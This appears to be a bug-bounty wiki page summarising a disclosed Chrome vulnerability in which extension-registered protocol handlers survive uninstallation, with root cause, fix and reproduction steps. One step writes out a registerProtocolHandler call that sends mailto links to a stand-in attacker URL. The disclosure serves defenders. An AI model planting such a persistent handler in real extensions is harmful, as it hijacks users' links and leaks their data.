Incomplete cleanup in Browser (CVE-2026-87436)
A logic flaw in protocol handler registration allows an extension to register a cross-origin handler that is not tied to the extension's ID, so it survives uninstallation. An attacker could then persistently hijack protocol links such as mailto to a site they control.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 4 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential vulnerability allows extensions to register persistent, cross-origin protocol handlers that survive extension uninstallation. Handlers registered via navigator.registerProtocolHandler receive elevated security privileges but are not properly associated with the extension's ID. This orphans the handler, bypassing extension cleanup routines and allowing persistent protocol hijacking.
Affected files:
chrome/browser/ui/browser.ccextensions/browser/api/protocol_handlers/protocol_handlers_manager.cccomponents/custom_handlers/protocol_handler.cccomponents/custom_handlers/protocol_handler_registry.cccontent/browser/web_contents/web_contents_impl.cc
Estimated timestamp from git blame: 2020-12-14
Description
A potential logic flaw in protocol handler registration allows a malicious extension to register a persistent, cross-origin protocol handler (e.g., mailto:) that survives the extension's uninstallation.
When a privileged extension page invokes navigator.registerProtocolHandler, the request is processed by Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc). Because the request originates from an extension, it is assigned an elevated security level (blink::ProtocolHandlerSecurityLevel::kExtensionFeatures). This elevated level bypasses standard same-origin policy checks, permitting the extension to register a cross-origin URL (e.g., https://attacker.example).
The root cause occurs when Browser::RegisterProtocolHandler instantiates the ProtocolHandler object. It uses the 3-argument factory ProtocolHandler::CreateProtocolHandler, which sets security_level_ to kExtensionFeatures but leaves the extension_id_ field as std::nullopt.
Once the user accepts the permission prompt, this handler is serialized to user preferences via ProtocolHandler::Encode(). Because extension_id_ is unpopulated, the resulting dictionary lacks an extension_id key, but it successfully persists the elevated security_level.
When the extension is subsequently uninstalled:
- The unload hook (
ProtocolHandlersManager::OnExtensionUnloaded) only removes handlers explicitly declared in the extension's manifest. - The system's garbage collection routine (
ProtocolHandlersManager::ProtocolHandlersSanityCheck) attempts to find orphaned handlers by queryingProtocolHandlerRegistry::GetExtensionProtocolHandlers(). However, this function explicitly filters out handlers that lack anextension_id.
As a result, the handler completely evades cleanup. Upon the next browser restart, the handler is deserialized from preferences with its elevated kExtensionFeatures security level intact, permanently validating the cross-origin hijack.
Potential Reproduction Steps
Note: These are suggested/potential steps, as our tooling agent does not yet have the ability to run code.
- Install an attacker-controlled extension.
- The extension opens a privileged page (e.g.,
chrome-extension://<id>/page.html). - Triggered by a user gesture, the page calls
navigator.registerProtocolHandler('mailto', 'https://attacker.example/steal?url=%s'). - The user accepts the "Allow this site to open mailto links?" permission prompt.
- Uninstall the malicious extension.
- Restart the Chrome browser.
- Observe that clicking any
mailto:link still redirects tohttps://attacker.example/steal?url=...despite the extension being uninstalled.
Suggested Fix
In Browser::RegisterProtocolHandler (chrome/browser/ui/browser.cc), the code should verify if the requesting frame belongs to an extension. If it does, the ProtocolHandler should be constructed using ProtocolHandler::CreateExtensionProtocolHandler (or by explicitly passing the extension_id), ensuring the extension_id_ field is correctly populated. This will allow the existing ProtocolHandlersSanityCheck to correctly identify and purge the handler upon extension uninstallation.
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the handler is created with the elevated extension security level but without the extension's ID, so cleanup routines that look for handlers by extension ID never find it.
Impact
A malicious extension could persistently hijack protocol links such as mailto to an attacker-controlled site even after the extension is uninstalled, but the user must first accept a permission prompt.
What the attacker needed
Install a malicious extension; user accepts permission prompt; user gesture to register handler
The fix
The code should populate the extension ID when creating the handler so that the existing sanity check can find and remove it on uninstallation.
How it was found
- Install an attacker-controlled extension.
- The extension opens a privileged page.
- Triggered by a user gesture, the page calls navigator.registerProtocolHandler for a mailto link pointing to an attacker site.
- The user accepts the permission prompt.
- Uninstall the malicious extension.
- Restart the browser and observe that mailto links still redirect to the attacker site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you click a mailto link, the browser can hand it to a website or extension that has registered to handle that kind of link. This report says an extension can register such a handler in a way that the browser forgets which extension it belongs to, so uninstalling the extension does not remove the handler. The handler then keeps sending your mailto clicks to an attacker's site.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.